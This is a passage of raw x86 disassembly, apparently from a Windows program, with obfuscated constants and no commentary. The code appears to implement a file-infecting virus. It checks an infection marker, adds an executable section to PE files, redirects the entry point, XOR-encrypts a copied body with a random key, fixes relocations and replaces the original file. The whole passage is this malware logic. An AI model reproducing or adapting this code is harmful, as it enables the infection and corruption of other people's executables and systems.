word_5510FC add edx, ecx sub edx, 2 cmp eax, edx jnz short loc_43BB19 movsx eax, word_551190 cmp byte ptr [ebp+eax+var_32008+2], 45h jnz short loc_43BBDA mov edx, dword_551228 cmp byte ptr [ebp+edx+var_32008+3], 52h jnz short loc_43BBDA movsx edx, word_5511A4 cmp byte ptr [ebp+edx+var_32008+3], 4Bh jnz short loc_43BBDA mov edx, dword_551184 cmp [ebp+edx+var_31FFD], 33h jnz short loc_43BBDA mov edx, dword_5511D8 add edx, dword_551200 cmp byte ptr [ebp+edx+var_32004+1], 4Ch jnz short loc_43BBDA add eax, dword_551168 cmp byte ptr [ebp+eax+var_32004+2], 32h jnz short loc_43BBDA mov [ebp+var_1078], 1 loc_43BBDA: ; CODE XREF: sub_43B5D8+59Fj ; sub_43B5D8+5AFj ... add [ebp+var_438], 14h loc_43BBE1: ; CODE XREF: sub_43B5D8+4D3j mov eax, [ebp+var_8] mov eax, [eax+84h] cmp [ebp+var_438], eax jb loc_43BAB0 loc_43BBF6: ; CODE XREF: sub_43B5D8+4FEj cmp [ebp+var_1078], 0 jz loc_43CADB mov eax, [ebp+var_8] add eax, 16h or word ptr [eax], 1 lea eax, [ebp+var_31ECB] mov [ebp+var_42C], eax mov eax, [eax+3Ch] mov [ebp+var_848], eax add eax, [ebp+var_42C] mov [ebp+var_84C], eax cmp [ebp+var_1184], 0 jnz loc_43BD4B mov eax, [ebp+var_8] mov edx, dword_5511C8 sub edx, 8 cmp [eax+0D0h], edx jz loc_43BD4B movsx edx, word_5510F8 add edx, dword_551098 sub edx, 0Eh cmp [eax+0D4h], edx jz loc_43BD4B mov edx, [ebp+var_106C] cmp [eax+54h], edx jbe loc_43BD4B mov eax, [ebp+var_840] add eax, 0F8h mov [ebp+var_31F08], eax mov eax, 28h mov ecx, [ebp+var_8] movzx ecx, word ptr [ecx+6] mul ecx mov [ebp+var_31F0C], eax mov eax, [ebp+var_31F08] mov edx, [ebp+var_31F0C] add eax, edx mov [ebp+var_31F00], eax mov [ebp+var_31F10], eax mov eax, 28h mov ecx, dword_5511AC add ecx, dword_5510F0 sub ecx, 2 mul ecx mov [ebp+var_31F14], eax mov eax, [ebp+var_31F10] mov edx, [ebp+var_31F14] add eax, edx mov [ebp+var_31F04], eax mov eax, [ebp+var_8] push dword ptr [eax+0D4h] mov eax, [ebp+var_4] mov edx, [ebp+var_31F00] add edx, eax push edx mov edx, [ebp+var_31F04] add edx, eax push edx call ds:dword_4CD814 add esp, 0Ch mov eax, [ebp+var_8] add eax, 0D0h mov [ebp+var_31F18], eax mov eax, 28h mov ecx, dword_5511C0 add ecx, dword_5510C0 mul ecx mov [ebp+var_31F1C], eax mov eax, [ebp+var_31F18] mov edx, eax mov ecx, [ebp+var_31F1C] add [edx], ecx loc_43BD4B: ; CODE XREF: sub_43B5D8+65Dj ; sub_43B5D8+675j ... mov eax, [ebp+var_8] push dword ptr [eax+3Ch] push [ebp+var_10] call sub_441CD8 mov [ebp+var_10], eax mov eax, 28h mov ecx, [ebp+var_8] movzx ecx, word ptr [ecx+6] mul ecx mov [ebp+var_31F00], eax mov eax, [ebp+var_840] mov edx, [ebp+var_4] lea eax, [eax+edx+0F8h] mov edx, [ebp+var_31F00] mov esi, edx add esi, eax mov eax, dword_5511DC add eax, 0Ch push eax mov eax, dword_5510E4 sub eax, 5 push eax mov eax, esi add eax, 18h push eax call ds:dword_4CD934 movsx eax, word_551210 add eax, 1FFFBh mov [esi+8], eax mov eax, [ebp+var_8] push dword ptr [eax+3Ch] mov eax, [ebp+arg_8] add eax, 0Dh push eax call sub_441CD8 mov [esi+10h], eax mov eax, [ebp+var_10] mov [ebp+var_850], eax mov eax, [ebp+var_1C] mov [ebp+var_1060], eax push offset byte_552825 call sub_43CAF7 push eax push esi call ds:dword_44B1A4 mov eax, [ebp+var_1C] mov [esi+0Ch], eax mov eax, dword_55114C add eax, 0E000001Eh mov [esi+24h], eax mov eax, [ebp+var_10] mov [esi+14h], eax mov eax, dword_5510EC add eax, 1FFFFh add [ebp+var_1C], eax mov eax, [ebp+var_8] mov edx, [esi+0Ch] add edx, [esi+8] mov [eax+50h], edx call ds:dword_550040 movsx edi, word_551128 movsx edx, word_551138 add edi, edx sub edi, 7 mov ecx, 0FDh cdq idiv ecx add edi, edx mov [ebp+var_1064], edi mov eax, [ebp+var_8] push dword ptr [eax+3Ch] mov eax, [ebp+var_10] add eax, [esi+10h] push eax call sub_441CD8 add esp, 30h mov [ebp+var_10], eax mov eax, [ebp+var_8] add eax, 6 inc word ptr [eax] call ds:dword_550040 mov edi, [ebp+var_848] mov edx, [ebp+var_42C] mov [ebp+var_31F08], edx mov [ebp+var_31F04], eax mov ecx, 0FFh cdq idiv ecx mov ecx, [ebp+var_31F08] mov [ecx+edi], dl call ds:dword_550040 mov edx, dword_551200 movsx ecx, word_551104 add edx, ecx sub edx, 4 add edi, edx mov edx, [ebp+var_42C] mov [ebp+var_31F10], edx mov [ebp+var_31F0C], eax mov ecx, 0FFh cdq idiv ecx mov ecx, [ebp+var_31F10] mov [ecx+edi], dl mov edi, dword_5511C0 add edi, dword_551174 sub edi, 7 mov edx, [ebp+var_42C] mov ecx, [ebp+arg_8] shr ecx, 9 mov [edx+edi], cl movsx eax, word_5510C4 add eax, dword_55118C sub eax, 7 mov ecx, [ebp+var_1064] xor ecx, 4Dh mov [edx+eax], cl mov eax, dword_5511F8 add eax, 3Dh add eax, dword_5510BC mov [ebp+var_43C], eax jmp short loc_43BF5D ; --------------------------------------------------------------------------- loc_43BF28: ; CODE XREF: sub_43B5D8+991j call ds:dword_550040 mov edi, [ebp+var_43C] mov edx, [ebp+var_42C] mov [ebp+var_31F18], edx mov [ebp+var_31F14], eax mov ecx, 0FFh cdq idiv ecx mov ecx, [ebp+var_31F18] mov [ecx+edi], dl inc [ebp+var_43C] loc_43BF5D: ; CODE XREF: sub_43B5D8+94Ej mov eax, [ebp+var_848] cmp [ebp+var_43C], eax jb short loc_43BF28 cmp [ebp+var_1184], 0 jz short loc_43BFEE mov eax, [ebp+var_850] movsx edx, word_5510D0 add edx, dword_5510C0 add eax, edx mov edx, [ebp+var_4] mov eax, [edx+eax] mov [ebp+var_31F1C], eax mov eax, [ebp+var_8] mov edx, [eax+34h] add edx, [eax+28h] mov eax, dword_551130 add eax, 6 add edx, eax mov [ebp+var_31F20], edx mov eax, [ebp+var_31F1C] mov edx, dword_551090 add edx, 0FFFFFFF6h movsx ecx, word_551210 add edx, ecx sub eax, edx add eax, [ebp+var_31F20] mov edx, dword_5511AC add edx, 2 add eax, edx mov [ebp+var_31F24], eax mov eax, [ebp+var_8] mov edx, [ebp+var_31F24] sub edx, [eax+34h] mov [eax+28h], edx loc_43BFEE: ; CODE XREF: sub_43B5D8+99Aj push 0Dh push offset dword_551290 lea eax, [ebp+var_31ED8] push eax call ds:dword_4CD814 mov eax, [esi+10h] add eax, 0Dh push eax lea eax, [ebp+var_31ED8] push eax mov eax, [esi+14h] add eax, [ebp+var_4] push eax call ds:dword_4CD814 add esp, 18h mov eax, [esi+14h] add eax, 0Dh mov [ebp+var_1068], eax movsx edx, word_5510C4 sub edx, 4 add eax, edx mov [ebp+var_424], eax jmp short loc_43C05A ; --------------------------------------------------------------------------- loc_43C040: ; CODE XREF: sub_43B5D8+A91j mov eax, [ebp+var_424] add eax, [ebp+var_4] movzx edx, byte ptr [eax] xor edx, [ebp+var_1064] mov [eax], dl inc [ebp+var_424] loc_43C05A: ; CODE XREF: sub_43B5D8+A66j mov eax, [ebp+var_1068] add eax, [ebp+arg_8] cmp [ebp+var_424], eax jb short loc_43C040 mov eax, dword_5510B8 sub eax, 4 mov [ebp+var_18], eax mov eax, dword_5511F4 mov edx, eax add edx, eax mov eax, edx sub eax, 12h mov [ebp+var_440], eax jmp loc_43C377 ; --------------------------------------------------------------------------- loc_43C08F: ; CODE XREF: sub_43B5D8+DAFj mov eax, 28h mul [ebp+var_440] mov [ebp+var_31F20], eax mov eax, [ebp+var_848] mov edx, [ebp+var_42C] lea eax, [eax+edx+0F8h] mov edx, [ebp+var_31F20] mov ebx, edx add ebx, eax mov eax, 28h mov ecx, [ebp+var_8] movzx ecx, word ptr [ecx+6] mul ecx mov [ebp+var_31F24], eax mov eax, [ebp+var_840] mov edx, [ebp+var_4] lea eax, [eax+edx+0F8h] mov edx, [ebp+var_31F24] mov esi, edx add esi, eax movsx eax, word_5510CC cmp byte ptr [ebx+eax], 72h jnz short loc_43C12B mov eax, dword_5511AC movsx edx, word_55113C add eax, edx sub eax, 0Bh cmp byte ptr [ebx+eax], 2Eh jnz short loc_43C12B movsx eax, word_551208 cmp byte ptr [eax+ebx+4], 63h jnz short loc_43C12B mov eax, [ebx+14h] mov [ebp+var_107C], eax jmp loc_43C371 ; --------------------------------------------------------------------------- loc_43C12B: ; CODE XREF: sub_43B5D8+B1Ej ; sub_43B5D8+B35j ... movsx eax, word_5510F8 sub eax, 5 cmp byte ptr [ebx+eax], 2Eh jnz short loc_43C174 movsx eax, word_551244 add eax, dword_551168 sub eax, 8 cmp byte ptr [ebx+eax], 65h jnz short loc_43C174 mov eax, dword_5511E4 inc eax cmp byte ptr [ebx+eax], 61h jnz short loc_43C174 mov eax, [ebx+0Ch] mov [ebp+var_1188], eax mov eax, [ebx+14h] mov [ebp+var_1080], eax jmp loc_43C371 ; --------------------------------------------------------------------------- loc_43C174: ; CODE XREF: sub_43B5D8+B61j ; sub_43B5D8+B77j ... movsx eax, word_551164 cmp byte ptr [ebx+eax], 69h jnz short loc_43C1B2 mov eax, dword_5511AC movsx edx, word_55113C add eax, edx sub eax, 0Bh cmp byte ptr [ebx+eax], 2Eh jnz short loc_43C1B2 movsx eax, word_551210 add eax, dword_551188 sub eax, 5 cmp byte ptr [ebx+eax], 61h jz loc_43C371 loc_43C1B2: ; CODE XREF: sub_43B5D8+BA7j ; sub_43B5D8+BBEj mov eax, dword_5511B4 sub eax, 4 cmp byte ptr [ebx+eax], 2Eh jnz loc_43C248 mov eax, dword_551120 add eax, dword_5510F0 sub eax, 0Ah cmp byte ptr [ebx+eax], 62h jnz short loc_43C248 mov eax, dword_5511E4 add eax, dword_55123C dec eax cmp byte ptr [ebx+eax], 73h jnz short loc_43C248 add esi, 0FFFFFFD8h mov eax, dword_5511E0 add eax, 0E0000018h add eax, dword_5510B8 mov [esi+24h], eax movsx eax, word_5510B4 add eax, 0FFBh push eax push dword ptr [esi+8] call sub_441CD8 mov edi, eax add edi, [ebx+8] mov [esi+8], edi mov eax, dword_5510A0 add eax, 0FFBh add eax, dword_551134 push eax mov eax, [ebp+var_1C] add eax, [ebx+8] push eax call sub_441CD8 add esp, 10h mov [ebp+var_1C], eax add esi, 28h jmp loc_43C371 ; --------------------------------------------------------------------------- loc_43C248: ; CODE XREF: sub_43B5D8+BE6j ; sub_43B5D8+BFEj ... mov eax, [ebp+var_10] mov [esi+14h], eax mov eax, [ebx+8] mov [esi+8], eax mov eax, [ebp+var_1C] mov [esi+0Ch], eax mov eax, [ebx+24h] mov [esi+24h], eax push ebx push esi call ds:dword_44B1A4 mov eax, [ebx+10h] mov [esi+10h], eax movsx eax, word_5510D0 movsx edx, word_5510CC lea eax, [eax+edx+5] push eax mov eax, dword_5510F0 sub eax, 3 push eax mov eax, esi add eax, 18h push eax call ds:dword_4CD934 mov edi, [ebp+var_18] mov edx, [ebx+0Ch] mov [ebp+edi*4+var_420], edx mov edx, [ebx+8] mov [ebp+edi*4+var_83C], edx mov edx, [esi+0Ch] mov [ebp+edi*4+var_C4C], edx mov edx, [esi+14h] mov [ebp+edi*4+var_1050], edx inc [ebp+var_18] mov eax, [ebx+10h] add [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_31F1C], eax mov eax, [ebp+var_8] push dword ptr [eax+3Ch] push [ebp+var_10] call sub_441CD8 add esp, 1Ch mov [ebp+var_10], eax mov eax, dword_5511AC dec eax cmp byte ptr [ebx+eax], 64h jnz short loc_43C313 mov eax, [ebp+var_31F1C] cmp [ebp+var_10], eax jbe short loc_43C313 mov ecx, [ebp+var_10] sub ecx, eax mov [ebp+var_31F28], ecx mov eax, ecx add [esi+8], eax mov eax, ecx add [esi+10h], eax loc_43C313: ; CODE XREF: sub_43B5D8+D19j ; sub_43B5D8+D24j movsx eax, word_5510FC add eax, 0FFEh push eax mov eax, [esi+0Ch] add eax, [ebx+8] push eax call sub_441CD8 mov edi, [ebp+var_8] mov [edi+50h], eax mov eax, dword_551214 add eax, 0FFDh push eax mov eax, [ebp+var_1C] add eax, [ebx+8] push eax call sub_441CD8 mov [ebp+var_1C], eax mov eax, edi add eax, 6 inc word ptr [eax] push dword ptr [esi+10h] mov eax, [ebx+14h] add eax, [ebp+var_42C] push eax mov eax, [esi+14h] add eax, [ebp+var_4] push eax call ds:dword_4CD814 add esp, 1Ch loc_43C371: ; CODE XREF: sub_43B5D8+B4Ej ; sub_43B5D8+B97j ... inc [ebp+var_440] loc_43C377: ; CODE XREF: sub_43B5D8+AB2j mov eax, [ebp+var_84C] movzx eax, word ptr [eax+6] cmp [ebp+var_440], eax jb loc_43C08F mov eax, [ebp+var_107C] add eax, [ebp+var_42C] mov [ebp+var_14], eax loc_43C39C: ; CODE XREF: sub_43B5D8+FECj mov eax, dword_5511DC movsx edx, word_5511A8 add eax, edx mov [ebp+var_20], eax jmp short loc_43C40B ; --------------------------------------------------------------------------- loc_43C3AF: ; CODE XREF: sub_43B5D8+E39j mov edi, [ebp+var_20] mov edx, [ebp+var_14] mov edx, [edx] cmp [ebp+edi*4+var_420], edx jnz short loc_43C3CB mov eax, [ebp+var_14] mov eax, [eax] mov [ebp+var_C50], eax loc_43C3CB: ; CODE XREF: sub_43B5D8+DE6j mov edi, [ebp+var_20] shl edi, 2 mov edx, [ebp+edi+var_420] add edx, [ebp+edi+var_83C] mov edi, [ebp+var_14] cmp edx, [edi] jbe short loc_43C408 mov edi, [ebp+var_20] mov edi, [ebp+edi*4+var_1050] mov [ebp+var_1070], edi mov edi, [ebp+var_20] mov edi, [ebp+edi*4+var_C4C] mov [ebp+var_1054], edi jmp short loc_43C413 ; --------------------------------------------------------------------------- loc_43C408: ; CODE XREF: sub_43B5D8+E0Cj inc [ebp+var_20] loc_43C40B: ; CODE XREF: sub_43B5D8+DD5j mov eax, [ebp+var_18] cmp [ebp+var_20], eax jb short loc_43C3AF loc_43C413: ; CODE XREF: sub_43B5D8+E2Ej mov eax, dword_551204 sub eax, 2 mov [ebp+var_428], eax jmp loc_43C58A ; --------------------------------------------------------------------------- loc_43C426: ; CODE XREF: sub_43B5D8+FBEj mov eax, [ebp+var_428] mov edx, dword_5511B0 add edx, dword_551120 sub edx, 7 add eax, edx add eax, [ebp+var_14] mov [ebp+var_31F20], eax mov ax, [eax] mov word ptr [ebp+var_31F1C], ax movzx eax, word ptr [ebp+var_31F1C] mov edx, dword_5511AC sub edx, 2 cmp eax, edx jz loc_43C59C movzx edi, word ptr [ebp+var_31F1C] movsx edx, word_5510D0 movsx ecx, word_551148 lea ecx, [edx+ecx+5] sar edi, cl mov word ptr [ebp+var_31F24+2], di movzx edi, word ptr [ebp+var_31F1C] mov edx, dword_551168 movsx ecx, word_5510F4 xchg edx, ecx add ecx, edx shl edi, cl mov word ptr [ebp+var_31F1C+2], di movzx edi, word ptr [ebp+var_31F1C+2] mov ecx, dword_5511E0 sar edi, cl mov word ptr [ebp+var_31F1C+2], di movzx eax, word ptr [ebp+var_31F1C+2] mov edx, dword_55111C sub edx, 2 cmp eax, edx jnz short loc_43C4E9 mov eax, dword_5511F4 sub eax, 9 cmp [ebp+var_428], eax jnz loc_43C59C loc_43C4E9: ; CODE XREF: sub_43B5D8+EFBj mov eax, [ebp+var_8] mov eax, [eax+34h] add eax, [ebp+var_1054] mov edx, [ebp+var_14] add eax, [edx] sub eax, [ebp+var_C50] movzx edx, word ptr [ebp+var_31F1C+2] add eax, edx mov [ebp+var_31F28], eax mov eax, [ebp+var_84C] mov eax, [eax+34h] mov edx, [ebp+var_14] add eax, [edx] movzx edx, word ptr [ebp+var_31F1C+2] add eax, edx mov [ebp+var_31F2C], eax mov ecx, [ebp+var_31F28] sub ecx, eax mov [ebp+var_31F30], ecx movzx eax, word ptr [ebp+var_31F24+2] movsx edx, word_5511E8 add edx, dword_551090 sub edx, 8 cmp eax, edx jnz short loc_43C57C mov eax, [ebp+var_1070] mov edx, [ebp+var_14] add eax, [edx] sub eax, [ebp+var_C50] movzx edx, word ptr [ebp+var_31F1C+2] add eax, edx add eax, [ebp+var_4] mov [ebp+var_31F34], eax mov edx, ecx add [eax], edx loc_43C57C: ; CODE XREF: sub_43B5D8+F7Bj mov eax, dword_55117C sub eax, 5 add [ebp+var_428], eax loc_43C58A: ; CODE XREF: sub_43B5D8+E49j mov eax, [ebp+var_14] mov eax, [eax+4] cmp [ebp+var_428], eax jb loc_43C426 loc_43C59C: ; CODE XREF: sub_43B5D8+E8Aj ; sub_43B5D8+F0Bj mov eax, [ebp+var_14] mov edx, [eax+4] add edx, eax mov [ebp+var_14], edx mov eax, [ebp+var_84C] mov eax, [eax+0A4h] mov edx, [ebp+var_107C] add edx, [ebp+var_42C] add eax, edx cmp [ebp+var_14], eax jb loc_43C39C mov eax, [ebp+var_8] mov ecx, [eax+28h] mov [ebp+var_118C], ecx mov edx, [ebp+var_1060] mov [eax+28h], edx cmp [ebp+var_1184], 0 jnz short loc_43C607 add eax, 60h mov edx, [ebp+var_84C] mov edx, [edx+60h] add [eax], edx mov eax, [ebp+var_8] add eax, 68h mov edx, [ebp+var_84C] mov edx, [edx+68h] add [eax], edx loc_43C607: ; CODE XREF: sub_43B5D8+100Ej mov eax, [ebp+var_8] movsx edx, word_551240 movsx ecx, word_551128 add edx, ecx sub edx, 7 mov [eax+46h], dx mov edx, dword_5511FC add edx, 5 add edx, dword_5511F8 mov [eax+1Ah], dl mov edx, dword_5510E0 add edx, 7 mov [eax+44h], dx mov eax, [ebp+var_1080] add eax, [ebp+var_42C] mov [ebp+var_31EE8], eax mov eax, [ebp+var_1080] mov edx, [ebp+var_31EE8] add eax, [edx+1Ch] sub eax, [ebp+var_1188] mov [ebp+var_31EEC], eax add eax, [ebp+var_42C] mov [ebp+var_31EF0], eax mov eax, [eax] mov [ebp+var_1058], eax mov eax, dword_5511B4 movsx edx, word_55113C add eax, edx sub eax, 0Dh mov [ebp+var_24], eax jmp short loc_43C6D8 ; --------------------------------------------------------------------------- loc_43C697: ; CODE XREF: sub_43B5D8+1106j mov edi, [ebp+var_24] shl edi, 2 mov edx, [ebp+edi+var_420] add edx, [ebp+edi+var_83C] cmp edx, [ebp+var_1058] jbe short loc_43C6D5 mov edi, [ebp+var_24] mov edi, [ebp+edi*4+var_420] mov [ebp+var_1194], edi mov edi, [ebp+var_24] mov edi, [ebp+edi*4+var_C4C] mov [ebp+var_1198], edi jmp short loc_43C6E0 ; --------------------------------------------------------------------------- loc_43C6D5: ; CODE XREF: sub_43B5D8+10D9j inc [ebp+var_24] loc_43C6D8: ; CODE XREF: sub_43B5D8+10BDj mov eax, [ebp+var_18] cmp [ebp+var_24], eax jb short loc_43C697 loc_43C6E0: ; CODE XREF: sub_43B5D8+10FBj mov eax, [ebp+var_8] mov eax, [eax+34h] add eax, [ebp+var_1198] add eax, [ebp+var_1058] sub eax, [ebp+var_1194] mov [ebp+var_1190], eax mov eax, [ebp+var_84C] mov eax, [eax+34h] add eax, [ebp+var_1058] mov [ebp+var_1058], eax mov eax, [ebp+var_850] mov [ebp+var_C], eax jmp loc_43C9AC ; --------------------------------------------------------------------------- loc_43C721: ; CODE XREF: sub_43B5D8+13E0j mov eax, [ebp+var_C] mov edx, [ebp+var_4] mov ecx, dword_5510B8 add ecx, dword_551150 sub ecx, 7 mov edi, eax add edi, ecx movzx ecx, byte ptr [edx+edi] mov edi, dword_5510A0 sub edi, 3 cmp ecx, edi jnz loc_43C858 mov ecx, dword_5510A0 dec ecx mov edi, eax add edi, ecx movzx ecx, byte ptr [edx+edi] mov edi, dword_551204 sub edi, 2 cmp ecx, edi jnz loc_43C858 movzx ecx, byte ptr [edx+eax] mov edi, dword_551114 add edi, 0E4h add edi, dword_5511E4 cmp ecx, edi jnz loc_43C858 mov ecx, dword_5511DC add ecx, 3 mov edi, eax add edi, ecx movzx ecx, byte ptr [edx+edi] mov edi, dword_55123C add edi, dword_551200 sub edi, 5 cmp ecx, edi jnz loc_43C858 add eax, dword_5511D8 movzx eax, byte ptr [edx+eax] mov edx, dword_551220 add edx, dword_5511A0 sub edx, 0Ah cmp eax, edx jnz loc_43C858 mov eax, [ebp+var_8] mov ecx, [eax+34h] add ecx, [ebp+var_118C] mov [ebp+var_31F1C], ecx mov eax, [eax+34h] add eax, [ebp+var_1060] mov edx, [ebp+var_C] sub edx, [ebp+var_850] add eax, edx mov [ebp+var_31F20], eax movsx eax, word_5510F4 mov edx, dword_5511B4 lea eax, [eax+edx-7] sub eax, [ebp+var_31F20] add eax, ecx movsx edx, word_551104 add edx, 4 sub eax, edx mov [ebp+var_31F24], eax movsx edi, word_5510A8 add edi, dword_5511F8 mov edx, [ebp+var_C] movsx ecx, word_5510F4 add ecx, dword_551110 sub ecx, 0Ah add edx, ecx add edx, [ebp+var_4] mov ecx, eax mov [edx+edi*4-0Ch], ecx loc_43C858: ; CODE XREF: sub_43B5D8+1171j ; sub_43B5D8+1191j ... mov eax, [ebp+var_C] mov edx, [ebp+var_4] mov [ebp+var_31F1C], edx mov ecx, dword_551130 add ecx, 2 mov edi, eax add edi, ecx movzx ecx, byte ptr [edx+edi] mov edi, dword_551184 movsx edx, word_551194 add edi, edx mov edx, edi sub edx, 5 cmp ecx, edx jnz loc_43C9A9 movsx edx, word_551244 add edx, dword_55123C sub edx, 6 mov ecx, eax add ecx, edx mov edx, [ebp+var_31F1C] movzx edx, byte ptr [edx+ecx] mov ecx, dword_55114C add ecx, dword_5511EC sub ecx, 5 cmp edx, ecx jnz loc_43C9A9 mov edx, dword_55115C add edx, dword_551110 sub edx, 0Bh mov ecx, eax add ecx, edx mov edx, [ebp+var_31F1C] movzx edx, byte ptr [edx+ecx] mov ecx, dword_55112C sub ecx, 8 cmp edx, ecx jnz loc_43C9A9 mov edx, [ebp+var_31F1C] movzx edx, byte ptr [edx+eax] movsx ecx, word_551240 add ecx, 0E0h cmp edx, ecx jnz loc_43C9A9 mov edx, dword_551234 movsx ecx, word_551208 add edx, ecx sub edx, 5 add eax, edx mov edx, [ebp+var_31F1C] movzx eax, byte ptr [edx+eax] mov edx, dword_55122C sub edx, 7 cmp eax, edx jnz short loc_43C9A9 mov eax, [ebp+var_8] mov eax, [eax+34h] add eax, [ebp+var_1060] mov edx, [ebp+var_C] sub edx, [ebp+var_850] add eax, edx mov [ebp+var_31F20], eax mov eax, [ebp+var_1190] mov [ebp+var_31F24], eax movsx eax, word_5510F8 add eax, 0FFFFFFFAh sub eax, [ebp+var_31F20] add eax, [ebp+var_31F24] mov edx, dword_5510D8 sub edx, 2 sub eax, edx mov [ebp+var_31F28], eax movsx edi, word_551104 mov edx, [ebp+var_C] mov ecx, dword_5510BC inc ecx add edx, ecx add edx, [ebp+var_4] mov ecx, eax mov [edx+edi*4], ecx loc_43C9A9: ; CODE XREF: sub_43B5D8+12B3j ; sub_43B5D8+12E8j ... inc [ebp+var_C] loc_43C9AC: ; CODE XREF: sub_43B5D8+1144j mov eax, [ebp+var_850] add eax, 0Dh cmp [ebp+var_C], eax jb loc_43C721 push [ebp+var_1074] call ds:dword_4CD948 push [ebp+arg_0] lea eax, [ebp+var_117F] push eax call ds:dword_44B1A4 add esp, 8 mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_43C9E5: ; CODE XREF: sub_43B5D8+1412j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43C9E5 mov [ebp+var_31EDC], eax mov edx, dword_5511DC movsx ecx, word_551198 add edx, ecx sub eax, edx mov [ebp+eax+var_117F], 72h mov eax, [ebp+var_31EDC] movsx edx, word_551208 add edx, 2 sub eax, edx mov [ebp+eax+var_117F], 69h mov eax, [ebp+var_31EDC] mov edx, dword_551178 sub edx, 7 sub eax, edx mov [ebp+eax+var_117F], 76h mov eax, dword_551134 sub eax, 2 push eax mov eax, dword_55118C sub eax, 1 push eax push 2 movsx eax, word_5510B4 sub eax, 5 push eax mov eax, dword_5510AC sub eax, 7 push eax push 40000000h lea eax, [ebp+var_117F] push eax call ds:dword_54FB18 mov [ebp+var_1074], eax mov eax, dword_55117C sub eax, 7 push eax lea eax, [ebp+var_31EE0] push eax push [ebp+var_10] push [ebp+var_4] push [ebp+var_1074] call ds:dword_54FF1C push [ebp+var_1074] call ds:dword_4CD948 push [ebp+var_4] call ds:dword_44B5CC push 0 push [ebp+arg_0] lea eax, [ebp+var_117F] push eax call ds:dword_4CC544 lea eax, [ebp+var_117F] push eax call ds:dword_44800C mov eax, 1 jmp short loc_43CAF2 ; --------------------------------------------------------------------------- loc_43CADB: ; CODE XREF: sub_43B5D8+117j ; sub_43B5D8+131j ... push [ebp+var_1074] call ds:dword_4CD948 push [ebp+var_4] call ds:dword_44B5CC xor eax, eax loc_43CAF2: ; CODE XREF: sub_43B5D8+9Dj ; sub_43B5D8+1501j pop edi pop esi pop ebx leave retn sub_43B5D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CAF7 proc near ; CODE XREF: sub_43A324+426p ; sub_43A324+475p ... var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] cmp dword_551250, 0 jnz short loc_43CB1F push offset dword_550050 call ds:dword_449FCC mov dword_551250, 1 loc_43CB1F: ; CODE XREF: sub_43CAF7+11j mov esi, dword_551134 inc esi movzx ebx, byte ptr [edi] movzx edx, byte ptr [edi+1] movzx edx, dx shl edx, 8 or ebx, edx movzx ebx, bx add esi, ebx mov [ebp+var_4], si movzx eax, [ebp+var_4] mov edx, dword_551158 add edx, dword_551230 dec edx cmp eax, edx jz loc_43CBDE push offset dword_550050 call ds:dword_54E95C movsx eax, word_5510F4 movsx edx, word_551144 add eax, edx sub eax, 3 mov [ebp+var_2], ax jmp short loc_43CB90 ; --------------------------------------------------------------------------- loc_43CB7B: ; CODE XREF: sub_43CAF7+A3j movzx eax, [ebp+var_2] add eax, edi movsx edx, byte ptr [eax] movsx ecx, byte ptr [edi+2] xor edx, ecx mov [eax], dl inc [ebp+var_2] loc_43CB90: ; CODE XREF: sub_43CAF7+82j movzx eax, [ebp+var_2] movzx edx, [ebp+var_4] cmp eax, edx jl short loc_43CB7B movsx eax, word_5510CC dec eax movsx edx, word_5510F8 sub edx, 5 mov [edi+eax], dl movsx eax, word_551198 add eax, dword_5511C8 sub eax, 8 mov edx, dword_5510E0 add edx, dword_551124 sub edx, 8 mov [edi+eax], dl push offset dword_550050 call ds:dword_4CD940 loc_43CBDE: ; CODE XREF: sub_43CAF7+5Aj lea eax, [edi+3] pop edi pop esi pop ebx leave retn sub_43CAF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CBE6 proc near ; CODE XREF: sub_43CDF1+2C8p ; sub_44077A+1ADp var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_316 = byte ptr -316h var_212 = byte ptr -212h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 32Ch push ebx push esi push edi push [ebp+arg_4] call ds:dword_50E924 pop ecx push [ebp+arg_0] lea eax, [ebp+var_316] push eax call sub_4475D4 lea ecx, [ebp+var_316] or eax, 0FFFFFFFFh loc_43CC14: ; CODE XREF: sub_43CBE6+33j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43CC14 mov edx, dword_551204 add edx, dword_551098 sub edx, 0Ah mov ebx, eax sub ebx, edx mov edx, dword_551180 mov [ebp+ebx+var_316], dl mov eax, dword_551154 movsx edx, word_551104 mov edi, eax add edi, edx sub edi, 8 loc_43CC4E: ; CODE XREF: sub_43CBE6+16Fj mov eax, edi mov ecx, dword_5510C8 inc ecx mul ecx mov [ebp+var_320], eax movsx eax, [ebp+edi+var_316] mov edx, [ebp+var_320] mov [ebp+edx+var_212], al mov eax, edi mov ecx, dword_5510E4 sub ecx, 3 mul ecx mov [ebp+var_324], eax mov eax, dword_5511A0 add eax, dword_55119C sub eax, 0Bh mov edx, [ebp+var_324] add edx, eax mov eax, dword_5511BC add eax, dword_551238 sub eax, 6 mov [ebp+edx+var_212], al movsx eax, [ebp+edi+var_316] movsx edx, word_5511F0 add edx, dword_55110C sub edx, 8 cmp eax, edx jnz loc_43CD54 mov eax, edi mov ecx, dword_55117C sub ecx, 5 mul ecx mov [ebp+var_328], eax mov eax, dword_5510E4 add eax, dword_551098 sub eax, 0Bh mov edx, [ebp+var_328] add edx, eax movsx eax, word_5511A8 mov [ebp+edx+var_212], al mov eax, edi mov ecx, dword_551150 add ecx, dword_551134 sub ecx, 4 mul ecx mov [ebp+var_32C], eax mov eax, dword_55116C movsx edx, word_5510F8 add eax, edx sub eax, 8 mov edx, [ebp+var_32C] add edx, eax movsx eax, word_551190 add eax, dword_5510E4 sub eax, 0Dh mov [ebp+edx+var_212], al jmp short loc_43CD5A ; --------------------------------------------------------------------------- loc_43CD54: ; CODE XREF: sub_43CBE6+E6j inc edi jmp loc_43CC4E ; --------------------------------------------------------------------------- loc_43CD5A: ; CODE XREF: sub_43CBE6+16Cj mov eax, dword_551124 sub eax, 2 cmp dword_55126C, eax jz short loc_43CDCB lea eax, [ebp+var_212] push eax mov eax, dword_5511D4 sub 